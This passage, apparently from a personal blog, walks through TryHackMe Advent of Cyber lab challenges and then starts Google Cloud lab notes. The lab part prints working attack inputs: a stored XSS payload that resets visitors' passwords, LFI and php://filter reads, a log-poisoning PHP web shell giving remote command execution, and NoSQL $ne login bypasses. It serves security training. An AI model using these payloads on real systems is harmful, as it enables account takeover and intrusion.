![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FJrXTRmJxNRyu9njrKl98%2Fimage.png?alt=media\&token=6c7ac5b3-c4e5-4c07-9485-898e4f970aa8)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F5nabpv1kxIOmjdWGjNVv%2Fimage.png?alt=media\&token=9aaf28bf-fcf0-4da3-969d-386013209035)

Now I needed to chain this stored XSS with a password reset attack against the `grinch` account and I should be able to get in. The password reset is revealed when trying to change the password

```
http://10.10.31.34/settings?new_password=nee
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FRooFkRbC1KnQMNkh4DDF%2Fimage.png?alt=media\&token=b7ebb241-4066-494f-8ec9-0f950f54bab5)

Next, I posted a comment with the following contents to change the password of any visitor that visits that thread to `neewashere`

```
<script>fetch('/settings?new_password=neewashere');</script>
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F91wREe5wz4y7vBNK2xMb%2Fimage.png?alt=media\&token=a86dd8d3-e798-4985-81ce-c689fabc2442)

After waiting for about a minute or so, I was able to login to the `grinch` account with `neewashere` as the password. I was also able to see the active plugin and disable it.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FIpqxFBPqvti4OHkloytp%2Fimage.png?alt=media\&token=1afa06a2-74ff-46b3-8ea0-4519cd7baf7f)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FmZ53iEntU7PGscT9YHIY%2Fimage.png?alt=media\&token=0c3475ed-8a98-46f5-962f-7b0694733c11)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F689iTD3EbcLAWd4KaBqW%2Fimage.png?alt=media\&token=9ea88bc5-368e-40ab-8e38-e779123c0777)

{% hint style="success" %}
What flag did you get when you disabled the plugin?

* THM{NO\_MO\*\***\_**\*\*\*\*\*}
  {% endhint %}


# \[Day 6]  Patch Management Is Hard

{Web Exploitation = LFI}

## Challenge

Accessing the webserver returns the following.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FyVe4WVPOU1SZPSLu3yg1%2Fimage.png?alt=media\&token=44214e76-9629-4c2d-a645-7067f020544e)

Inspecting the URL revealed that the application was invoking the error message from a given file.&#x20;

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FLJxPsVaKDEUcqgLpe58r%2Fimage.png?alt=media\&token=527d535d-4c61-4ea0-98f7-8f6faca0e0d6)

{% hint style="success" %}
Deploy the attached VM and look around. What is the entry point for our web application?

* err
  {% endhint %}

Replacing the error file with `/etc/passwd` seemed to return the file and confirm the LFI vulnerability.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2Fl58TTxFfuCBBqIUTwBjt%2Fimage.png?alt=media\&token=d585e535-8052-4ea5-a1c4-ba4fd757cf69)

```
http://10.10.109.239/index.php?err=../../../../../etc/flag
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F8igUICqJHCHK04ftV1E6%2Fimage.png?alt=media\&token=12959568-9620-4a81-9b9d-7d96182a353d)

{% hint style="success" %}
Use the entry point to perform LFI to read the /etc/flag file. What is the flag?

* THM{d29e08941cf7fe41df55f1a7da6c\*\*\*\*}
  {% endhint %}

Next, to get the source code of a particular file, I used the PHP filter method as shown below.

```
http://10.10.109.239/index.php?err=php://filter/convert.base64-encode/resource=index.php
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FSO9R0Lwo3KDLSgl8phIq%2Fimage.png?alt=media\&token=e7c6c745-c111-4813-b65a-657f3dca66e5)

Decoding the base64 value then led me to the next flag.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2Fi18IO2YJL08bVY5g5POE%2Fimage.png?alt=media\&token=ead87408-ca04-488b-8ed1-002c93b094b9)

{% hint style="success" %}
Use the PHP filter technique to read the source code of the index.php. What is the $flag variable's value?

* THM{791d43d46018a0d89361dbf60d5d\*\*\*\*}
  {% endhint %}

In the source code, I noticed that there is a file called `creds.php` and `manage.php`

`manage.php` redirects to `login.php`. This is where the `creds.php` comes in handy. I used the same filter technique to read the contents of the `creds.php` file.

```
http://10.10.103.198/index.php?err=php://filter/convert.base64-encode/resource=./includes/creds.php
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FFejftsyyK0WBHhtFYXtR%2Fimage.png?alt=media\&token=c6f70db3-bb04-4f00-8ba3-766d159d9637)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FJHkUvEPLL1rmmQ1utYeJ%2Fimage.png?alt=media\&token=08b2e774-8d6e-48cc-ae4d-8eedf9bb90a9)

```
<?php 
$USER = "McSkidy";
$PASS = "A0C315Aw3s0m";
?
```

{% hint style="success" %}
Now that you read the index.php, there is a login credential PHP file's path. Use the PHP filter technique to read its content. What are the username and password?

* ```
  McSkidy:A0C315Aw3s0m
  ```

{% endhint %}

Logging into the Control System and accessing `Password Recovery` reveals the next flag.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FcbKLoFYnItX3pwa0eKPy%2Fimage.png?alt=media\&token=bb1b49fb-d7ed-4dc2-bb1f-c0c4be6cc049)

{% hint style="success" %}
Use the credentials to login into the web application. Help McSkidy to recover the server's password. What is the password of the flag.thm.aoc server?&#x20;

* THM{552f313b52e3c3dbf5257d8c6db7\*\*\*\*}
  {% endhint %}

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F8Y1zl08mRmdV82imz8Ad%2Fimage.png?alt=media\&token=2518bf83-5fd7-4ee1-b840-f7b45ef809e8)

Now that I had access to logs, know where the file is located, and was able to write to the file via web requests, I used the log poisoning method to get remote command execution on the system.

```
http://10.10.103.198/logs.php
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FDmIwIOyWgnizB8PeqxfO%2Fimage.png?alt=media\&token=7889738b-cae6-4e9f-a094-f063509d7991)

I first poisoned the logs by sending a request with `curl` and setting a PHP payload as the user agent as shown below. The payload basically allows an attacker to run arbitrary commands remotely, on the server via the browser.

```
curl -A '<?php system($_GET["cmd"]); ?>' http://10.10.103.198/login.php
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FZRXP9ruXxTq9N7QKodS6%2Fimage.png?alt=media\&token=ee0a1824-5fe9-4660-8407-ca1faaed21ed)

Following that, I invoked the logfile via LFI and simply added a `cmd` argument in the URL and ran commands on the server.

```
http://10.10.103.198/index.php?err=./includes/logs/app_access.log&cmd=ls
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FXzuOTv0iJIXfOh50TfWt%2Fimage.png?alt=media\&token=db28c2ed-025e-4bfa-92a9-df7744d38cdf)

```
http://10.10.103.198/index.php?err=./includes/logs/app_access.log&cmd=hostname
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FJ1dJAQOWG5UrGrDWdMhC%2Fimage.png?alt=media\&token=3d03c493-ba4d-40d6-a2ac-593aab3a0223)

{% hint style="success" %}
The web application logs all users' requests, and only authorized users can read the log file. Use the LFI to gain RCE via the log file page. What is the hostname of the webserver? The log file location is at `./includes/logs/app_access.log.`

* lfi-aoc-awesome-59aedca683fff9261263bb084880c965
  {% endhint %}


# \[Day 7] Migration Without Security

{Web Exploitation = NoSQLi}

Logging into the server with the given credentials, I was able to interact with the MongoDB and retrieve the first flag.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FKHrMQH3LMvLnijqOyHDX%2Fimage.png?alt=media\&token=b0f52f40-af2b-42db-a7d7-3133213f9f70)

{% hint style="success" %}
Interact with the MongoDB server to find the flag. What is the flag?

* THM{8814a5e6662a9763f7df23ee59d944f9}
  {% endhint %}

The following page is being served on port 80/HTTP

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FCx8tqpngHVbJ6eGzCZVF%2Fimage.png?alt=media\&token=a5b1ef2c-71df-48fb-ba10-7526cbc66276)

**Useful MongoDB Operators**

```
$eq - matches records that equal to a certain value

$ne - matches records that are not equal to a certain value

$gt - matches records that are greater than a certain value.

$where - matches records based on Javascript condition

$exists - matches records that have a certain field

$regex - matches records that satisfy certain regular expressions.
```

Bypassing the login page is as simple as using the `$ne` operator on the password field.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FO2O2MCgYi7JblyXLF1gQ%2Fimage.png?alt=media\&token=968e38e3-8ba1-442e-99ce-68358dec0cba)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2Ft877kWCnvEhf6EqVkNHO%2Fimage.png?alt=media\&token=2d394aa8-ee49-467a-8031-66de5983e2b4)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F794dNtA9zWcVEbWkp368%2Fimage.png?alt=media\&token=759fda70-60b4-4314-bd95-7587fa0a4534)

We're in.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FkAoYnSZBhFYtGvUOTyCk%2Fimage.png?alt=media\&token=a7e479f0-9dfb-41ec-9e6d-397af04a23d7)

{% hint style="success" %}
THM{b6b304f5d5834a4d089b570840b467a8}
{% endhint %}

```
10.10.121.120/search?username[$ne]=admin&role=guest
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F4VMKcuOjv2wrlyfIyVUb%2Fimage.png?alt=media\&token=0214a6d2-00a6-407c-971d-eab570ec230e)

{% hint style="success" %}
Once you are logged in, use the gift search page to list all usernames that have guest roles. What is the flag?

* THM{2ec099f2d602cc4968c5267970be1326}<br>
  {% endhint %}

```
http://10.10.121.120/search?username=mcskidy&role[$ne]=guest
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FMyiyvv80dRyC3tcH9XRB%2Fimage.png?alt=media\&token=39c8db84-5541-46ab-a9a9-235213e39d61)

{% hint style="success" %}
Use the gift search page to perform NoSQL injection and retrieve the mcskidy record. What is the details record?

* ID:6184f516ef6da50433f100f4:mcskidy:admin
  {% endhint %}


# \[Day 8] Santa's Bag of Toys

{Incident response = PowerShell Transcription Logs}

## Story

McSkidy was notified of some terrible news! Santa's laptop, which he uses to prepare his bag of toys for Christmas, is missing! We believe a minion at the Grinch Enterprise stole it, but we need to find out for sure. It is up to us to determine what actor compromised the laptop and recover Santa's bag of toys!<br>

Unfortunately, The Best Festival Company had minimal monitoring tools on Santa's laptop (he is the boss, after all)! All we have to work with are some PowerShell Transcription Logs we were able to remotely recover just after it went missing. You can find the transcription logs within the `SantasLaptopLogs` folder on the Desktop of the attached Windows virtual machine.

## Challenge

Inspecting the Powershell logs gives more information of what was ran on the system

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FDqgg1NgW2NJlfSrC57mo%2Fimage.png?alt=media\&token=d26bed18-9277-432d-b675-3806d270f5d1)

{% hint style="success" %}
**What operating system is Santa's laptop running ("OS Name")?**

* Microsoft Windows 11 Pro
  {% endhint %}

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F2xxb6CuVEXnRthy5jqW2%2Fimage.png?alt=media\&token=1b9f52d2-0ab2-4b65-a38c-04d02806a92d)

{% hint style="success" %}
**What was the password set for the new "backdoor" account?**

* grinchstolechristmas
  {% endhint %}

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F8NqT38fk9sloepZVxX4r%2Fimage.png?alt=media\&token=70c8944d-0e08-420a-8d33-aca6a5b52939)

{% hint style="success" %}
**in one of the transcription logs,  the bad actor interacts with the target under the new backdoor user account, and copies a unique file to the Desktop. Before it is copied to the Desktop, what is the full path of the original file?**

* C:\Users\santa\AppData\Local\Microsoft\Windows\UsrClass.dat
  {% endhint %}

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FamB3yiUU9nnJD9yrLKHD%2Fimage.png?alt=media\&token=e3c90962-6a49-4c52-82b2-e45e4f7dc6d8)

{% hint style="success" %}
**The actor uses a** [**Living Off The Land** ](https://lolbas-project.github.io/lolbas/Binaries/Certutil/)**binary (LOLbin) to encode this file, and then verifies it succeeded by viewing the output file. What is the name of this LOLbin?**

* certutil.exe
  {% endhint %}

Now that we know that `UsrClass.dat` was exfiltrated from the system, lets try to make out what it was with the help of cyber chef.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FJqiGJh18ea6VjQhvo34j%2Fimage.png?alt=media\&token=352d9931-9f08-4992-b290-297dd21ba82e)

{% hint style="info" %}
This file can be used to aid in our investigation. The `UsrClass.dat` file contains "Shellbags," or artifacts contained within the Windows registry that store user preferences while viewing folders within the Windows Explorer GUI. If you could carve out this information, you could get an idea as to what user activity was performed on the laptop before it was stolen or compromised!
{% endhint %}

Using [ShellBagsExplorer](https://www.sans.org/tools/shellbags-explorer/), we can explore the file as shown below.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F2a7oRRSd2jXS7IdgJl8Z%2Fimage.png?alt=media\&token=ccc2631c-e2d7-4a9c-964e-9316db6b7cd7)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FAJG53eNiXXSlpp7sdVs3%2Fimage.png?alt=media\&token=8d7db548-729f-40f1-ae5d-d6d3de2816a4)

{% hint style="success" %}
**What specific folder name clues us in that this might be publicly accessible software hosted on a code-sharing platform?**

* .github
  {% endhint %}

{% hint style="success" %}
What is the name of the file found in this folder?

* bag\_of\_toys.zip
  {% endhint %}

Since there was a `.github` file under `SantaRat-main`, googling that led to the github repo.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FM0MOlb7nLL4s24yjxnKG%2Fimage.png?alt=media\&token=d162a22c-0dbb-4743-88dd-88a0b38afee3)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FuRItsg2e9tq5CuNOXngM%2Fimage.png?alt=media\&token=202cb7d7-55d0-4cf2-8858-973316cfffff)

{% hint style="success" %}
**What is the name of the user that owns the SantaRat repository?**

* Grinchiest
  {% endhint %}

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FErRnDc1Udvf9itTxB0wy%2Fimage.png?alt=media\&token=01fa3f7e-4379-486b-a2aa-66fffaec4a54)

{% hint style="success" %}
**What is the name of the repository that seems especially pertinent to our investigation?**

* operation-bag-of-toys
  {% endhint %}

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FngNZIgj7eFXQvXNdeMOf%2Fimage.png?alt=media\&token=1dd9d76e-96fd-4961-8dca-13e2ef34e7d1)

{% hint style="success" %}
**What is the name of the&#x20;*****executable*****&#x20;that installed a unique utility the actor used to collect the bag of toys?**

* uharc-cmd-install.exe
  {% endhint %}

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FCnhKLCPl3UPwxnWsErhk%2Fimage.png?alt=media\&token=fe0505f0-acf0-4875-9c96-36219614c96f)

{% hint style="success" %}
**What are the contents of these "malicious" files (coal, mold, and all the others)?**

* GRINCHMAS
  {% endhint %}

Looking at one of the older commits revealed the password to the archive

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2Fhc8NbyibsIFXg9ljJsc7%2Fimage.png?alt=media\&token=407bfd53-505b-4807-a68a-fd8ff3bcd9ad)

{% hint style="success" %}
**What is the password to the original bag\_of\_toys.uha archive?**

* TheGrinchiestGrinchmasOfAll
  {% endhint %}

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FGL8g9anxkLMF3NRzGlL2%2Fimage.png?alt=media\&token=40e597a6-dac4-400b-9d50-dedd10076b31)

{% hint style="success" %}
**How many original files were present in Santa's Bag of Toys?**

* 228
  {% endhint %}


# \[Day 9] Where Is All This Data Going

{Network Forensics}

## Challenge

We are able to open the given pcap file with Wireshare to inspect it further.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2Fa1LFp71AO6mjXvp5iDEX%2Fimage.png?alt=media\&token=a1fc6d5c-31a2-4759-84fc-2c7a3ce0dd4e)

```
http.request.method == GET
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FUJNk0s9fNFSQbn8UeiW7%2Fimage.png?alt=media\&token=e6244218-f3bd-4a4a-8803-342f111865dd)

{% hint style="success" %}
In the HTTP #1 - GET requests section, which directory is found on the web server?

* login
  {% endhint %}

```
http.request.method == POST
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FSehnFo8VXrExPlPag6a8%2Fimage.png?alt=media\&token=7e390560-3c9c-4c7f-aeb4-a4a654d9bcba)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F4keB4sjelZxVg9RzCQnG%2Fimage.png?alt=media\&token=d3d607f9-678f-4a56-80ec-bd7e2984dd96)

{% hint style="success" %}
What is the username and password used in the login page in the **HTTP #2 - POST** section?&#x20;

McSkidy:Christmas2021
{% endhint %}

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F194mmHltlP3QaJbmFMXu%2Fimage.png?alt=media\&token=c8045d64-039c-4ba1-aa49-6b2faf72ee95)

{% hint style="success" %}
What is the User-Agent's name that has been sent in **HTTP #2 - POST** section?

* TryHackMe-UserAgent-THM{d8ab1be969825f2c5c937aec23d55bc9}
  {% endhint %}

```
udp.port == 53
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FdgYBYM8Lr8tCKANgNCqN%2Fimage.png?alt=media\&token=b26d334f-bda3-4bdd-9ea6-356b63f39944)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F2cHmGAzuQEd3VF6Al856%2Fimage.png?alt=media\&token=31a3e384-efa0-4132-b59a-6c6e920bd978)

{% hint style="success" %}
What is the flag in the message of that DNS query?

* THM{dd63a80bf9fdd21aabbf70af7438c257}
  {% endhint %}

```
tcp.port==21
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FlFXsHtSpch9LgnpTdJQQ%2Fimage.png?alt=media\&token=998f2935-4ce2-463d-b060-ed1351812d37)

{% hint style="success" %}
In the FTP section, what is the FTP login password

* TryH\@ckM3!
  {% endhint %}

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FDQuLf34hG1sBQB7vTndR%2Fimage.png?alt=media\&token=7d66d821-d363-4aa1-a8d2-23623c86b9a1)

{% hint style="success" %}
In the FTP section, what is the FTP command used to upload the secret.txt  file?

* STOR
  {% endhint %}

```
ftp-data
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FWt966qei8dBDb6cJrLoE%2Fimage.png?alt=media\&token=dd672fd5-3008-4722-94c8-d1400f713948)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FCLGBkvVd97vQujJKo6RJ%2Fimage.png?alt=media\&token=a9c7bcbb-c5ba-4320-9cd4-eb62af15c620)

{% hint style="success" %}
In the FTP section, what is the content of the secret.txt file?

* 123^-^321
  {% endhint %}


# Cloud Computing Fundamentals

The Google Cloud Computing Foundations courses provide an overview of concepts central to cloud basics, big data, and machine learning, and where and how Google Cloud fits in.

By the end of the series of courses, learners will be able to articulate these concepts and demonstrate some hands-on skills.

This course is part of a series of courses called Google Cloud Computing Foundations. I will be embarking on this 4 part course to pick up some cloud skills while I'm at it!

```
Cloud Computing Fundamentals
Infrastructure in Google Cloud
Networking and Security in Google Cloud
Data, ML, and AI in Google Cloud
```

The first course that I'll be going through will be the `Cloud Computing Fundamentals`!


# Getting Started with Cloud Shell and gcloud

LAB 1

## Overview

Cloud Shell provides you with command-line access to computing resources hosted on Google Cloud. Cloud Shell is a Debian-based virtual machine with a persistent 5-GB home directory, which makes it easy for you to manage your Google Cloud projects and resources. The `gcloud` command-line tool and other utilities you need are pre-installed in Cloud Shell, which allows you to get up and running quickly.

## Setup

### Activating Cloud Shell

Cloud Shell is a virtual machine that is loaded with development tools. It offers a persistent 5GB home directory and runs on the Google Cloud. Cloud Shell provides command-line access to your Google Cloud resources.

Hitting the cloud shell icon on the top right activates it as shown below.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FyuOpqVUi8hNOWndLoaXq%2Fimage.png?alt=media\&token=2486ff5a-9a02-4eb5-b8e4-ebd6f29006e8)

### Listing Active Account

```
gcloud auth list
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FbuICpPpj3ilbHaRjZGzx%2Fimage.png?alt=media\&token=44fbf803-f5f8-4888-8f61-3e55d7982a88)

### Listing Project ID

```
gcloud config list project
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2Fd0CISIKuImXRBXyzN2Fw%2Fimage.png?alt=media\&token=7d649b24-766b-4e01-b8cb-cc232edcb378)

## Configuring Environment

### Get Project Information

```
gcloud compute project-info describe --project <your_project_ID>
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FUjZZIFuUSqC1bDg5DSO8%2Fimage.png?alt=media\&token=fed7d031-f3d3-4b16-b21d-85f0cef25978)

### Check Gcloud config

```
gcloud config list
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FMPXp53x6h59QpQGTbWhn%2Fimage.png?alt=media\&token=14749625-3a71-44f2-bc43-f44e1bfad96a)

### Export Environment Variables

#### Project ID

```
export PROJECT_ID=<your_project_ID>
```

#### Region/Zone

```
export ZONE=<your_zone>
export ZONE=asia-southeast1-a
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FyUz8NCNff5LQNBalGuEn%2Fimage.png?alt=media\&token=482697ea-229b-4816-b1af-c8fa89c1848f)

### Creating a VM with Gcloud

```
gcloud compute instances create gcelab2 --machine-type n1-standard-2 --zone $ZONE
```

* `gcloud compute` = Enables user to manage compute resources
* `instances create` = Create a new instance in the virtual environment
* `gcelab2` = name of the VM
* `--machine-type` = user selected machine type
* `--zone` = region and zone user likes the VM to be spawned in

## Installing Components

`gcloud interactive` has auto prompting for commands and flags and displays inline help snippets in the lower section of the pane as the command is typed.

You can use dropdown menus to auto-complete static information, such as command and sub-command names, flag names, and enumerated flag values.

### Install and enable

```
sudo apt-get install google-cloud-sdk
gcloud beta interactive
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F7vVa88OcxtjeGtUoMAUg%2Fimage.png?alt=media\&token=6e170ad3-b242-449c-93d8-8abac222c525)

### Autocomplete Mode

We were basically able to use the Gcloud interactive shell together with the autocomplete feature and explanation of commands and grab the brief description of the VM that we had just created as shown below.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FQFf6JPJxzSjaM7j1ePkQ%2Fimage.png?alt=media\&token=2aa9ba2f-9b8f-46e1-8689-fb52c8162fe0)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F9aEDgr9tYbO8J791U5NC%2Fimage.png?alt=media\&token=0da3079a-7b9d-40bd-84e3-8be347e2985a)

## SSH into VM (via Gcloud)

### Initiate an ssh connection

```
gcloud compute ssh gcelab2 --zone $ZONE
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FNpDiNRpZwa4yueylIflS%2Fimage.png?alt=media\&token=3002a4a8-b94c-45a5-951b-80f495b8264d)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FSipZa9krzDziIOSIRztE%2Fimage.png?alt=media\&token=e5137dc8-2314-46c7-9260-d9df5c4208c4)


# Creating a Virtual Machine

LAB 2

## Overview

Compute Engine lets you create virtual machines that run different operating systems, including multiple flavors of Linux (Debian, Ubuntu, Suse, Red Hat, CoreOS) and Windows Server, on Google infrastructure. You can run thousands of virtual CPUs on a system that is designed to be fast and to offer strong consistency of performance.

In this hands-on lab, you'll create virtual machine instances of various machine types using the Google Cloud Console and the `gcloud` command line. You'll also learn how to connect an NGINX web server to your virtual machine.

## Create new Instance via Cloud Console

Head over to the VM Instances page as shown below.

